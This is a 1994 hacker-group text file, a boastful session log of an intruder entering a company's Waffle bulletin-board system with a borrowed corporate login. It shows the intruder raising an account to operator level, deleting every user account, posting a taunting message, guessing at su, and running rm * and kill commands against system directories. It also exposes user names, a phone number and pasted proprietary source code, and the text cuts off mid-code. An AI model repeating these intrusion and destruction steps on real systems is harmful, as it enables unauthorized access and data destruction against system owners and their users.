SABOTEUR / APOCALYPSE PRESENTS ============================== HACKING CAPTURE 1 -=-=-=-=-=-=-=-=- Okay dewdz Sab here.This time apart from my credit cardin` releases i`m sending this hacking capture out to you all.This system is a UNIX running Waffle v?.? .Well the number is on a 0800 - There for cheap on the old bill$.Right hope u enjoy reading this as much as i did hacking it! ( hehehe ).Okay then if you want the phone number for this system then get my 0800 list`s from your local elite pirate systems.I suggest you read this from an ASCII editor and not PPMORE.. =-=-=-=--=-=--=-=-=-=--=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- GrEeTz FlY OuT To ThE FoLlOwInG KeWl DeWdS.. MeEkO - ViOlAtOr - CrYTOn - GrAdIuS - PyRoMaNiaC - SySmAN - AsId CaRp - KrYtOn - NeOtRoNiC - MoTiVe - R9 - AnF - BlAcK BeaRd - SoRrY If I MiSsed AnYoNe OuT !! ( OO-ER! ) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LeTs Go!!! CONNECT 9600/ARQ/MNP/V42 This is a Private system No Unauthorized access allowed Enter userid or system name Xilinx login: xilinx Unauthorized usage of this system will be prosecuted internationally. All calls to this system are logged. Key strokes may be monitored. Welcome... Trying 149.199.13.201:513... Rlogin session 1 connected to mailman SunOS Release 4.1.1 (GENERIC+8) #1: Fri Jan 7 14:38:49 PST 1994 THIS IS A PRIVATE SYSTEM ! xilinx (mailman) Xilinx Waffle version 1.65, Xilinx BBS. Login or NEW: toppan Password: Logging in: toppan, #322 Previous login: 01-Sep-94 (0 new messages) Last caller: toppan (Toppan Corp Account) Today is: 01-Sep-94 No Informative messages [more] No mail. [#0: Public Access] 1:42p (?=help!) -> /root "/ROOT" forbidden by Act of Congress [#0: Public Access] 1:42p (?=help!) -> /bin "/BIN" forbidden by Act of Congress [#0: Public Access] 1:42p (?=help!) -> admin Admin> ? A - Add user to system C - Copy account D - Delete a user H - This help screen Q - Exit ADMIN Account templates: E - Modify user's profile F - File system params N - News & Mail privileges R - Commands on/off S - Account security T - Terminal and Editor settings M - Miscellanous * - Edit all of the above Admin> m dave Security (dave) Password shit Access level 1 Fake level string +1 Privilege level -97 Group membership Waffle system shell yes Inform EVENTS of account use N User can change password Y Enforce time limits + N Permit local access only N Splash file after login N Security (dave) Password shit Access level 99999999999999 Fake level string +1 Privilege level 99999999999999 Group membership System Operator Waffle system shell shell Inform EVENTS of account use y User can change password y Enforce time limits + y Permit local access only y n Splash file after login y n Files section (dave) Transfer protocol X Kilobytes Uploaded 0 Kilobytes Downloaded 0 Allow access to FILES section Y User can upload files Y User can download files Y Enforce file transfer ratios Y Files section (dave) Transfer protocol x X Kilobytes Uploaded 0 Kilobytes Downloaded 0 Allow access to FILES section y User can upload files y User can download files y Enforce file transfer ratios y News and mail (dave) Messages posted 0 Date of last NEW scan 00-???-00 00:00 Last mail counter 0 Mail to local users Y Network mail outside system Y Post on local forums Y Post to Usenet newgroups Y News and mail (dave) Messages posted 0 Date of last NEW scan 00-???-00 Last mail counter 0 Mail to local users y Network mail outside system y Post on local forums y Post to Usenet newgroups y Terminal & Editor (dave) External editor none Console editor none Terminal emulation unknown Page length 24 Disable pager reading messages N Terminal & Editor (dave) External editor none Console editor none Terminal emulation unknown Page length 24 Disable pager reading messages n Restrictions (dave) Chat/page sysop ok Y Cookies accepted from user Y Change entries in JOURNAL Y Permit POOF after first call Y Restrictions (dave) Chat/page sysop ok y Cookies accepted from user y Change entries in JOURNAL y Permit POOF after first call y Edit Profile (dave) Username dave Full Identity Dave smith First/Real name Dave Phone number 408 312 6189 Access level 125 Fake level string +1 Comment text No comment.. Edit Profile (dave) Username dave Full Identity Dave smith First/Real name Dave Phone number 408 552 9211 Access level 999999999999999 Fake level string +1 Comment text No comment Miscellanous (dave) Date of first login 00-???-00 00:00 Date of last login 01-Sep-94 13:19 Minutes on today 0 Voting index 0 Admin> q [#0: Public Access] 1:54p (?=help!) -> user Userlist @ xilinx, 36 total bbs | any bbs user | 00-???-00 | test bbs users cadence | Cadence Corp | 14-Apr-94 | No comment.. crognlie | Collin Rognlie | 04-Jul-94 | No comment.. dave | Dave smith | 01-Sep-94 | No comment.. davidl | David M. Loftus | 09-Jul-94 | No comment.. default | Default Account | 00-???-00 | No comment.. esch | Eric Schemmerling | 19-Apr-94 | No comment.. fat | Alistair | 10-Aug-94 | No comment.. fred | fred flintsone | 06-Aug-94 | No comment.. gerry | gerry glaser | 15-Apr-94 | No comment.. jamey | jamey foster | 23-Aug-94 | No comment.. jester | willy | 06-Aug-94 | No comment.. kayvan | Kayvan Sylvan | 19-Apr-94 | No comment.. kgvc | jhv jhv | 06-Aug-94 | No comment.. louisew | Louise Wong | 04-May-94 | small rodent thing... micrson | michael richardson | 01-Sep-94 | No comment.. mistest | MIS TEST ACCOUNT | 28-Jun-94 | No comment.. northern | Northern Telecomm | 01-Jun-94 | See 'lam' from apps paber | paul gaber | 01-Sep-94 | No comment.. prime | dave robertson | 24-Aug-94 | No comment.. sam | Sam perkins | 01-Sep-94 | No comment.. sammy | Sam Home | 00-???-00 | No comment.. tentimes | Sushi Batter | 05-Jul-94 | No comment.. testcase | test case | 27-Mar-93 | No comment.. [more] toppan | Toppan Corp Account | 01-Sep-94 | Tempory Full access trial | mary ann ambrosia | 17-Jun-94 | No comment.. tudor | david petterson | 13-Aug-94 | No comment.. u1 | Default Account | 00-???-00 | No comment.. u2 | Default Account | 00-???-00 | No comment.. willy | Paul Williamson | 15-Aug-94 | No comment.. wirehead | Edmund Russell | 06-Aug-94 | No comment.. [#0: Public Access] 1:55p (?=help!) -> login toppan logged out 01-Sep-94 1:55p Login or NEW:dave Password: Logging in: u1, #325 Previous login: 00-???-00 (0 new messages) Last caller: toppan (Toppan Corp Account) Today is: 01-Sep-94 No Informative messages [more] No mail. [#0: Public Access] 1:56p (?=help!) -> /bin "/BIN" forbidden by Act of Congress [#0: Public Access] 1:56p (?=help!) -> /root "/ROOT" forbidden by Act of Congress [#0: Public Access] 1:56p (?=help!) -> shell Insufficient Privilege. [#0: Public Access] 1:56p (?=help!) -> login u1 logged out 01-Sep-94 1:56p Login or NEW: toppan Password: Logging in: toppan, #325 Previous login: 01-Sep-94 (0 new messages) Last caller: u1 (Default Account) Today is: 01-Sep-94 No Informative messages [more] No mail. [#0: Public Access] 1:56p (?=help!) -> shell [shell - type "exit" to return] mailman% ls News mailman% /bin /bin: Permission denied. mailman% /tools /tools: Permission denied. mailman% /waffle /waffle: Command not found. mailman% pwd /var/tmp mailman% /var /var: Permission denied. mailman% /* /*: Ambiguous. mailman% su Password: Sorry mailman% rm * rm: News is a directory rm: override protection 600 for croutKNAa00154? rm: override protection 664 for in27477body? rm: override protection 664 for in27477cens? rm: override protection 664 for in27477hdr? rm: override protection 664 for in27477in? rm: override protection 664 for in27477ngs? rm: override protection 664 for sh274773? rm: override protection 664 for sh274774? mailman% who general ttyp0 Sep 1 13:48 (xilinx-nb) mcgett ttyp3 Sep 1 13:52 (feynman) matte ttyp4 Sep 1 13:59 (Schicago) mailman% who 0 who: cannot open utmp mailman% su Password: Sorry mailman% su Password: Sorry mailman% su Password: Sorry mailman% su Password: Sorry mailman% ls -1 News mailman% su Password: Sorry mailman% su Password: Sorry mailman% su Password: Sorry mailman% su Password: Sorry mailman% su Password: Sorry mailman% exit [#0: Public Access] 2:04p (?=help!) -> admin Admin> h A - Add user to system C - Copy account D - Delete a user H - This help screen Q - Exit ADMIN Account templates: E - Modify user's profile F - File system params N - News & Mail privileges R - Commands on/off S - Account security T - Terminal and Editor settings M - Miscellanous * - Edit all of the above Admin> d default Admin> d bbs Admin> d u1 Admin> d u2 Admin> d northern Admin> q [#0: Public Access] 2:07p (?=help!) -> user Userlist @ xilinx, 36 total cadence | Cadence Corp | 14-Apr-94 | No comment.. crognlie | Collin Rognlie | 04-Jul-94 | No comment.. davidl | David M. Loftus | 09-Jul-94 | No comment.. esch | Eric Schemmerling | 19-Apr-94 | No comment.. fat | Alistair | 10-Aug-94 | No comment.. fred | fred flintsone | 06-Aug-94 | No comment.. gerry | gerry glaser | 15-Apr-94 | No comment.. jamey | jamey foster | 23-Aug-94 | No comment.. jester | willy | 06-Aug-94 | No comment.. kayvan | Kayvan Sylvan | 19-Apr-94 | No comment.. kgvc | jhv jhv | 06-Aug-94 | No comment.. louisew | Louise Wong | 04-May-94 | small rodent thing... micrson | michael richardson | 01-Sep-94 | No comment.. mistest | MIS TEST ACCOUNT | 28-Jun-94 | No comment.. paber | paul gaber | 01-Sep-94 | No comment.. prime | dave robertson | 24-Aug-94 | No comment.. sam | Sam perkins | 01-Sep-94 | No comment.. sammy | Sam Home | 00-???-00 | No comment.. tentimes | Sushi Batter | 05-Jul-94 | No comment.. testcase | test case | 27-Mar-93 | No comment.. toppan | Toppan Corp Account | 01-Sep-94 | Tempory Full access trial | mary ann ambrosia | 17-Jun-94 | No comment.. tudor | david petterson | 13-Aug-94 | No comment.. willy | Paul Williamson | 15-Aug-94 | No comment.. wirehead | Edmund Russell | 06-Aug-94 | No comment.. [#0: Public Access] 2:09p (?=help!) -> admin Admin> d cadence Admin> d crodnlie No such user Admin> d davidl Admin> d esch Admin> d fat Admin> d fred Admin> d gerry Admin> d jamey Admin> d jester Admin> d kayvan Admin> d kgvc Admin> d loiusew No such user Admin> d micrson Admin> d mistest Admin> d paber Admin> d prime Admin> d sam Admin> d sammy Admin> d tentimes Admin> d testcase No such user Admin> d wirehead No such user Admin> q [#0: Public Access] 2:13p (?=help!) -> user Userlist @ xilinx, 36 total crognlie | Collin Rognlie | 04-Jul-94 | No comment.. louisew | Louise Wong | 04-May-94 | small rodent thing... [#0: Public Access] 2:13p (?=help!) -> admin Admin> d crognlie Admin> d louisew Admin> q [#0: Public Access] 2:14p (?=help!) -> user Userlist @ xilinx, 36 total [#0: Public Access] 2:14p (?=help!) -> chat Sorry - system operator is not available now.... [#0: Public Access] 2:14p (?=help!) -> list 00313 9600b micrson michael richardson <0> 11:28a 11:29a THU 4 LOST 00314 9600b dave dave smith <0> 12:26p 12:43p THU 48 IN 00314 9600b dave dave smith <0> 12:43p 12:43p THU 1 IN 00314 9600b dave dave smith <0> 12:43p 12:44p THU 2 IN 00314 9600b toppan Toppan Corp Account <9> 12:44p 12:55p THU 125 LOST 00315 9600b toppan Toppan Corp Account <9> 12:58p 12:59p THU 2 IN 00315 9600b toppan Toppan Corp Account <9> 1:01p 1:07p THU 10 IN 00315 9600b sam Sam Perkins <0> 1:08p 1:09p THU 2 IN 00315 9600b toppan Toppan Corp Account <9> 1:09p 1:10p THU 2 IN 00315 9600b sam Sam Perkins 1:10p 1:11p THU 3 IN 00315 9600b toppan Toppan Corp Account <9> 1:11p 1:13p THU 3 IN 00316 9600b toppan Toppan Corp Account <9> 1:15p 1:19p THU 4 IN 00316 9600b dave Dave smith <1> 1:19p 1:19p THU 0 EXIT 00317 9600b sam Sam Perkins <127> 1:20p 1:20p THU 0 EXIT 00318 9600b toppan Toppan Corp Account <9> 1:21p 1:25p THU 1 LOST 00320 9600b toppan Toppan Corp Account <9> 1:28p 1:33p THU 8 LOST 00323 9600b toppan Toppan Corp Account <9> 1:42p 1:46p THU 3 LOST 00324 9600b dave Dave smith <1> 1:48p 1:48p THU 0 EXIT 00325 9600b toppan Toppan Corp Account <9> 1:49p 1:55p THU 4 IN 00325 9600b u1 Default Account <125> 1:56p 1:56p THU 4 IN [#0: Public Access] 2:15p (?=help!) -> feedback Feedback. Send note to system guru (y/n)? y No such user: system [#0: Public Access] 2:15p (?=help!) -> mail Unknown Command = WALL. [#0: Public Access] 2:16p (?=help!) -> post Subject: HaCkErS Enter message, single / when done. /s to save or /q to quit without saving. 1> Hi System manager! - I like this machine!! .. In fact i liked it So much 2> i wanted it for myself!! - So i deleted everyone else! hehehehe..I did 3> this because you wouldn`t give me access ( OO-ER! )..So have fun making 4> all those accounts again!! - Oh by the way ,when i was in the restricted 5> shell i did the old su command and guess what???..heheheheh...A sad 6> password came up...Well it was a s lame as the one before!!..hehehehehe.. 7> Hey i`ll tell my m8`s at the APRNET and the pirate boards about this 8> LAME system so they can come and pop back when this sad system is back 9> online!!...hehehehehe...CaTcHa Ya LaTeR DeWd!...L8r SaBoTeUr.. 10> 11> (c) 1994 LAME HACKS INC MXCIIIVI .. APC Production! ...hehehheheh 12> /s Message posted. [#0: Public Access] 2:23p (?=help!) -> shell [shell - type "exit" to return] mailman% su Password: Sorry mailman% su Password: Sorry mailman% rm * /bin rm: /bin not removed: Permission denied mailman% rm * rm: News is a directory mailman% pwd /var/tmp mailman% cd mailman% cd /var mailman% rm * rm: NB is a directory rm: adm is a directory rm: crash is a directory rm: domain is a directory rm: log is a directory rm: lost+found is a directory rm: mail is a directory rm: net is a directory rm: preserve is a directory rm: spool is a directory rm: tmp is a directory rm: yp is a directory mailman% cd log mailman% rm * rm: override protection 664 for syslog? y rm: syslog not removed: Permission denied mailman% cd mailman% cd /var mailman% rm * rm: NB is a directory rm: adm is a directory rm: crash is a directory rm: domain is a directory rm: log is a directory rm: lost+found is a directory rm: mail is a directory rm: net is a directory rm: preserve is a directory rm: spool is a directory rm: tmp is a directory rm: yp is a directory mailman% rm usage: rm [-rif] file ... mailman% rmdir log rmdir: log: Permission denied mailman% rmdir crash rmdir: crash: Permission denied mailman% cd log mailman% ls syslog mailman% cat syslog mailman% w 2:30pm up 1 day, 5:55, 2 users, load average: 5.58, 5.21, 5.48 User tty login@ idle JCPU PCPU what general ttyp0 1:48pm 4 3 w mcgett ttyp3 1:52pm 37 3 -csh mailman% cat syslog syslog mailman% type type: Command not found. mailman% rm -1 syslog usage: rm [-rif] file ... mailman% rm +1 syslog rm: +1: No such file or directory rm: override protection 664 for syslog? y rm: syslog not removed: Permission denied mailman% rm syslog rm: override protection 664 for syslog? yes rm: syslog not removed: Permission denied mailman% delete delete: Command not found. mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir bin mailman% ls X11 grep rmntstat [ hostid rnews acctcom hostname roffbib adb hostrfs rpcgen addbib i386 screenblank adjacentscreens iAPX286 screendump adv iconedit screenload align_equals id scrolldefaults ar idload sdiff arch indent sed as indentpro_to_defaults selection_svc at indxbib set_alarm atq input_from_defaults setpgrp atrm insert_brackets sh awk install shelltool bar iostat shift_lines basename ipcrm size batch ipcs sleep bc join sort cal keylogin sortbib calendar keylogout sparc cancel kill spell capitalize ld spline cat ldd split cb lex strip cc line stty cflow lint stty_from_defaults checkeq ln su chfn loadkeys sum chgrp lockscreen sun chkey lockscreen_default sun2 chmod login sun3 chsh logname sun386 clear_colormap look sun3x clear_functions lookbib sun4 click lorder sun4c clock lp suntools cmdtool lpstat sunview cmp ls sunview1 col lsw swin comm m4 switcher cp m68k sync cpio mach tar crontab mail tbl csh mailrc_to_defaults tcov csplit mailtool tee ctrace make tektool cu mc68010 test cut mc68020 textedit cxref mesg time date mkdir tip dbxtool mt toolplaces dc mv touch dd nawk tr defaults_from_input neqn trace defaults_to_indentpro newgrp traffic defaults_to_mailrc nice troff defaultsedit nl true deroff nlsadmin tsort desktop nm tty df nohup u370 diff nroff u3b diff3 nsquery u3b15 diffmk od u3b2 dirname on u3b5 dname overview unadv domainname pack uname dorfs pagesize uniq dos2unix passwd units du paste unix2dos dumpkeys pcat unpack e pdp11 unwhiteout echo perfmeter uucp ed pr uudecode egrep prof uuencode eject ps uulog enroll ptx uuname env pwd uupick eqn ranlib uusend ex rasfilter8to1 uustat expr rasfilter_rgbtobgr uuto false rastrepl uux fdformat red vax fgrep refer wall file remove_brackets who find rev write fmt_mail rfadmin xargs fontedit rfpasswd xget fumount rfstart xsend fusage rfstop yacc get_alarm rfuadmin ypcat get_selection rfudaemon ypchfn getopt ring_alarm ypchsh getoptcvt rm ypmatch gfxtool rmail yppasswd graph rmdir ypwhich mailman% rm * rm: X11 not removed: Permission denied rm: override protection 755 for [? y rm: [ not removed: Permission denied rm: override protection 755 for acctcom? rm: override protection 755 for adb? rm: override protection 755 for addbib? rm: adjacentscreens not removed: Permission denied rm: override protection 755 for adv? rm: align_equals not removed: Permission denied rm: override protection 755 for ar? rm: arch not removed: Permission denied rm: override protection 555 for as? rm: override protection 755 for at? rm: override protection 755 for atq? rm: override protection 755 for atrm? rm: override protection 755 for awk? y rm: awk not removed: Permission denied rm: override protection 755 for bar? rm: override protection 755 for basename? rm: override protection 755 for batch? rm: override protection 755 for bc? rm: override protection 755 for cal? rm: override protection 755 for calendar? rm: override protection 711 for cancel? rm: capitalize not removed: Permission denied rm: override protection 755 for cat? rm: override protection 755 for cb? rm: cc not removed: Permission denied rm: override protection 755 for cflow? rm: override protection 755 for checkeq? rm: override protection 755 for chfn? rm: override protection 755 for chgrp? rm: override protection 755 for chkey? rm: override protection 755 for chmod? rm: override protection 755 for chsh? rm: override protection 755 for clear_colormap? rm: clear_functions not removed: Permission denied rm: override protection 755 for click? rm: clock not removed: Permission denied rm: cmdtool not removed: Permission denied rm: override protection 755 for cmp? rm: override protection 755 for col? rm: override protection 755 for comm? rm: override protection 755 for cp? rm: override protection 755 for cpio? rm: override protection 755 for crontab? rm: override protection 755 for csh? rm: override protection 755 for csplit? rm: override protection 755 for ctrace? rm: override protection 111 for cu? rm: override protection 755 for cut? rm: override protection 755 for cxref? rm: override protection 755 for date? rm: override protection 755 for dbxtool? rm: override protection 755 for dc? rm: override protection 755 for dd? rm: defaults_from_input not removed: Permission denied rm: defaults_to_indentpro not removed: Permission denied rm: defaults_to_mailrc not removed: Permission denied rm: defaultsedit not removed: Permission denied rm: override protection 755 for df? rm: override protection 755 for diff? rm: override protection 755 for diff3? rm: override protection 755 for diffmk? rm: override protection 755 for dirname? rm: override protection 755 for dname? rm: override protection 755 for domainname? rm: override protection 755 for dorfs? rm: override protection 755 for dos2unix? rm: override protection 755 for du? rm: override protection 755 for dumpkeys? rm: override protection 755 for e? rm: override protection 755 for echo? ailman% kill -1,1 mailman% sync mailman% r -r r: Command not found. mailman% rm usage: rm [-rif] file ... mailman% kill kill: Too few arguments. mailman% kill /bin kill: Arguments should be jobs or process id's. mailman% kill -1 mailman% mailman% kill -1,1,2,3 mailman% ls X11 grep rmntstat [ hostid rnews acctcom hostname roffbib adb hostrfs rpcgen addbib i386 screenblank adjacentscreens iAPX286 screendump adv iconedit screenload align_equals id scrolldefaults ar idload sdiff arch indent sed as indentpro_to_defaults selection_svc at indxbib set_alarm atq input_from_defaults setpgrp atrm insert_brackets sh awk install shelltool bar iostat shift_lines basename ipcrm size batch ipcs sleep bc join sort cal keylogin sortbib calendar keylogout sparc cancel kill spell capitalize ld spline cat ldd split cb lex strip cc line stty cflow lint stty_from_defaults checkeq ln su chfn loadkeys sum chgrp lockscreen sun chkey lockscreen_default sun2 chmod login sun3 chsh logname sun386 clear_colormap look sun3x clear_functions lookbib sun4 click lorder sun4c clock lp suntools cmdtool lpstat sunview cmp ls sunview1 col lsw swin comm m4 switcher cp m68k sync cpio mach tar crontab mail tbl csh mailrc_to_defaults tcov csplit mailtool tee ctrace make tektool cu mc68010 test cut mc68020 textedit cxref mesg time date mkdir tip dbxtool mt toolplaces dc mv touch dd nawk tr defaults_from_input neqn trace defaults_to_indentpro newgrp traffic defaults_to_mailrc nice troff defaultsedit nl true deroff nlsadmin tsort desktop nm tty df nohup u370 diff nroff u3b diff3 nsquery u3b15 diffmk od u3b2 dirname on u3b5 dname overview unadv domainname pack uname dorfs pagesize uniq dos2unix passwd units du paste unix2dos dumpkeys pcat unpack e pdp11 unwhiteout echo perfmeter uucp ed pr uudecode egrep prof uuencode eject ps uulog enroll ptx uuname env pwd uupick eqn ranlib uusend ex rasfilter8to1 uustat expr rasfilter_rgbtobgr uuto false rastrepl uux fdformat red vax fgrep refer wall file remove_brackets who find rev write fmt_mail rfadmin xargs fontedit rfpasswd xget fumount rfstart xsend fusage rfstop yacc get_alarm rfuadmin ypcat get_selection rfudaemon ypchfn getopt ring_alarm ypchsh getoptcvt rm ypmatch gfxtool rmail yppasswd graph rmdir ypwhich mailman% dos2unix could not get keyboard type US keyboard assumed mailman% ls mailman% install usage: install [-cs] [-g group] [-m mode] [-o owner] file ... destination install -d [-g group] [-m mode] [-o owner] dir mailman% kill * *: Ambiguous. mailman% uucp Usage: uucp [-c|-C] [-d|-f] [-gGRADE] [-j] [-m] [-nUSER]\ [-r] [-sFILE] [-xDEBUG_LEVEL] source-files destination-file uucp failed completely (2) mailman% mailman% vax mailman% rmdir usage: rmdir directory ... mailman% rmdir /bin rmdir: /bin: Not a directory mailman% fdformat Press return to start formatting floppy. ............................................................................... mailman% hdformat hdformat: Command not found. mailman% logname general mailman% eject mailman% rmntstat rmntstat: must be super-user mailman% rfpasswd rfpasswd: must be super-user mailman% rfadmin rfadmin: must be super user mailman% login Not login shell. mailman% pwd /usr/bin mailman% kill -1,/bin mailman% get_alarm get_alarm: the WINDOW_ALARM environment variable is NULL. mailman% sleep 9999999999999999999999999999999 ***Break mailman% ls X11 grep rmntstat [ hostid rnews acctcom hostname roffbib adb hostrfs rpcgen addbib i386 screenblank adjacentscreens iAPX286 screendump adv iconedit screenload align_equals id scrolldefaults ar idload sdiff arch indent sed as indentpro_to_defaults selection_svc at indxbib set_alarm atq input_from_defaults setpgrp atrm insert_brackets sh awk install shelltool bar iostat shift_lines basename ipcrm size batch ipcs sleep bc join sort cal keylogin sortbib calendar keylogout sparc cancel kill spell capitalize ld spline cat ldd split cb lex strip cc line stty cflow lint stty_from_defaults checkeq ln su chfn loadkeys sum chgrp lockscreen sun chkey lockscreen_default sun2 chmod login sun3 chsh logname sun386 clear_colormap look sun3x clear_functions lookbib sun4 click lorder sun4c clock lp suntools cmdtool lpstat sunview cmp ls sunview1 col lsw swin comm m4 switcher cp m68k sync cpio mach tar crontab mail tbl csh mailrc_to_defaults tcov csplit mailtool tee ctrace make tektool cu mc68010 test cut mc68020 textedit cxref mesg time date mkdir tip dbxtool mt toolplaces dc mv touch dd nawk tr defaults_from_input neqn trace defaults_to_indentpro newgrp traffic defaults_to_mailrc nice troff defaultsedit nl true deroff nlsadmin tsort desktop nm tty df nohup u370 diff nroff u3b diff3 nsquery u3b15 diffmk od u3b2 dirname on u3b5 dname overview unadv domainname pack uname dorfs pagesize uniq dos2unix passwd units du paste unix2dos dumpkeys pcat unpack e pdp11 unwhiteout echo perfmeter uucp ed pr uudecode egrep prof uuencode eject ps uulog enroll ptx uuname env pwd uupick eqn ranlib uusend ex rasfilter8to1 uustat expr rasfilter_rgbtobgr uuto false rastrepl uux fdformat red vax fgrep refer wall file remove_brackets who find rev write fmt_mail rfadmin xargs fontedit rfpasswd xget fumount rfstart xsend fusage rfstop yacc get_alarm rfuadmin ypcat get_selection rfudaemon ypchfn getopt ring_alarm ypchsh getoptcvt rm ypmatch gfxtool rmail yppasswd graph rmdir ypwhich mailman% lsw lsw: Internal error: Cannot connect to tfsd on mailman: mailman% uuname uunet uupsi2 mailman% ptx ^Cmailman% rfstart rfstart: must be super-user mailman% yppasswd passwd: general: unknown user. mailman% file usage: file [-cL] [-f ffile] [-m mfile] file... mailman% join join: usage: join [-an] [-e s] [-jn m] [-tc] [-o list] file1 file2 mailman% join an e m tc o syslog join join: usage: join [-an] [-e s] [-jn m] [-tc] [-o list] file1 file2 mailman% su Password: Sorry mailman% su Password: Sorry mailman% su Password: Sorry mailman% pr pr hello ? ^Cmailman% getopt usage: getopt legal-args $* mailman% getopt rm syslog -- syslog mailman% rm rmail rm: override protection 755 for rmail? yes rm: rmail not removed: Permission denied mailman% quit quit: Command not found. mailman% exit [#0: Public Access] 3:09p (?=help!) -> admin Admin> s No such user Admin> ? A - Add user to system C - Copy account D - Delete a user H - This help screen Q - Exit ADMIN Account templates: E - Modify user's profile F - File system params N - News & Mail privileges R - Commands on/off S - Account security T - Terminal and Editor settings M - Miscellanous * - Edit all of the above Admin> q [#0: Public Access] 3:10p (?=help!) -> dir News < DIR > 9-Aug-94 [#0: Public Access] 3:10p (?=help!) -> ls Unknown Command = LS. [#0: Public Access] 3:10p (?=help!) -> su Unknown Command = SU. [#0: Public Access] 3:10p (?=help!) -> cd dir No such directory. [#0: Public Access] 3:10p (?=help!) -> shell [shell - type "exit" to return] mailman% ls News mailman% chdir news news: No such file or directory mailman% chdir /bin mailman% chdir /system mailman% chdir /sys mailman% ls conf.common net sbusdev sun4c sys debug netinet scsi sundev ufs krpc nfs sparc sunif vm lofs os specfs sunwindow mon rpc sun sunwindowdev mailman% scsi scsi: Permission denied. mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% chdir files mailman% ls @files license.doc proppp.doc xact autoexec.bat procommp.doc public mailman% rm * rm: public is a directory rm: xact is a directory mailman% chdir user user: No such file or directory mailman% rm admin rm: admin: No such file or directory mailman% chdir system system: No such file or directory mailman% chdir sys sys: No such file or directory mailman% cd mailman% ls admin extern_pgms lib system words bin extras local text distribution files menus tools docs help outbox user extern info source waffle.login mailman% cd mailman% chdir outbox mailman% ls mailman% cd mailman% rmdir outbox rmdir: outbox: Permission denied mailman% chdir tools mailman% ls Makefile arclist.c convpw.c mailin.c setname.c wafalias.c NOTE arclist.h mailbox.h makebox.c sysman.c mailman% cat sysman.c /* * WAFFLE v1.65 (sysman.c) * (C) Copyright 1992 Thomas E Dell * * 7/1/92 - System Administration Utility * Not for distribution under any circumstances. * */ static char *sccsid = "@(#)sysman.c 1.65 7/1/92 (C) Copyright 1992 Darkside International"; #include #include #include #if __TURBOC__ extern unsigned _stklen = 8192; #endif #include "../lib/lib.h" #include "../lib/tree.h" #include "../lib/pass.h" #include "../lib/profile.h" char *xSmarthost = "", *xBin = "", *xDaylight = "", *xTimezone = "", *xUser = "", *xUucpname = "", *xWaffle = "", *xNode = ""; int westward = 0; TABLE table[] = { "node", CHAR, REQ, (ptr) &xNode, "timezone", CHAR, 0, (ptr) &xTimezone, "user", CHAR, REQ, (ptr) &xUser, "waffle", CHAR, REQ, (ptr) &xWaffle, NULL, 0, 0, (ptr) NULL }; static int errs = 0; extern int x_index(), x_create(), x_check(), x_purge(), x_export(), x_add(), x_delete(); extern int x_find(), x_list(), x_dump(), x_clean(), x_crunch(), x_retire(); struct ct { char *command; int (*function)(); }; static struct ct ctable [] = { "add", x_add, "check", x_check, "clean", x_clean, "create", x_create, "crunch", x_crunch, "delete", x_delete, "dump", x_dump, "export", x_export, "find", x_find, "finger", x_find, "index", x_index, "list", x_list, "purge", x_purge, "retire", x_retire, NULL, NULL, }; int checkorphan(), nukeorphan(); main (argc, argv) int argc; char *argv[]; { struct ct *Ct; char filename [128]; if (argc == 1) usage(); if (!configure (table)) exit (1); sprintf (filename, "%s/admin", xWaffle); pw_set (filename); for (Ct = ctable; Ct->command; Ct++) { if (!stricmp (argv [1], Ct->command)) { (*Ct->function) (argc - 2, argv + 2); exit (0); } } usage(); } banner() { printf ("\nWaffle 1.65 account maintenance\n"); printf ("(C) Copyright 1992 Darkside International\n\n"); } usage() { printf ("\n"); printf ("Waffle 1.65 sysman (C) Copyright 1992 Darkside International\n"); printf ("\n"); printf ("sysman create Create a new password file and index file\n"); printf ("sysman check Consistency check of password files\n"); printf ("sysman clean Remove directories from deleted users\n"); printf ("sysman crunch Remove deleted entries from password file\n"); printf ("sysman export List password file to an ascii text file\n"); printf ("sysman find Verify existence and location of an account\n"); printf ("sysman index Build index for the password file\n"); printf ("sysman list List accounts and some information\n"); printf ("sysman purge Purge old or inactive accounts\n"); exit (1); } /* * sysman add * * Add an account to the index file with appropriate key. * This does NOT add an account to the password file, as this * function is intended for testing the B Tree routines only. * */ x_add (argc, argv) int argc; char *argv[]; { fprintf (stderr, "sysman: Warning, this is just a test function..\n"); fprintf (stderr, "sysman: Adding \"%s\" with key %d\n", argv [0], atoi (argv [1])); pw_add (argv [0], atoi (argv [1])); } /* * sysman check * * Perform consistency checks on the password file. The * first check tests that all index entries point to the * matching account in the password file. The second * check ensures that all password accounts are present * in the index file. * */ x_check() { errs = 0; fprintf (stderr, "sysman: Performing index accuracy check..\n"); checkindex(); fprintf (stderr, "sysman: Performing index presence check..\n"); checkpass(); if (errs) fprintf (stderr, "sysman: %d error(s) were encountered\n", errs); else fprintf (stderr, "sysman: All checks were successful\n"); } /* * sysman clean * * Checks for orphaned directories (in user directory * but no associated password file) or empty user * directories. Affected directories will be purged. * */ x_clean() { int found; fprintf (stderr, "sysman: Removing directories from purged users\n"); found = foreach (xUser, "*.*", checkorphan); if (found) fprintf (stderr, "sysman: %d orphaned directories were found\n", found); else fprintf (stderr, "sysman: No orphaned directories were found\n"); } /* * sysman create * * Create a blank password file, then add "default" * and "system" accounts. This must be done before using * the Unix version, due to architecture differences * between hardware platforms. * */ x_create() { FILE *fp; BOUNTY user; char buf [64]; banner(); printf ("This creates a new set of admin/password and admin/index\n"); printf ("files. It will wipe your old ones out, and you should only\n"); printf ("proceed if you are starting from scratch.\n\n"); printf ("Continue with SYSMAN CREATE? "); fgets (buf, 64, stdin); if (*buf != 'y' && *buf != 'Y') return; fprintf (stderr, "\nsysman: creating index file\n"); createindex(); fprintf (stderr, "sysman: creating password file\n"); if ((fp = fopen (_pw_passfile, "wb")) == NULL) { perror (_pw_passfile); exit (1); } /* The 0'th record identifies this as a version 2 Waffle Password File */ memset ((char *) &user, 0, sizeof (BOUNTY)); sprintf ((char *) &user, "Waffle Password File V2%c%c", 0x0A, 0x1A); if (fwrite ((char *) &user, RECLEN, 1, fp) != 1) { fprintf (stderr, "sysman: Disk full\n"); exit (4); } /* Defaults for everyone */ memset ((char *) &user, 0, sizeof 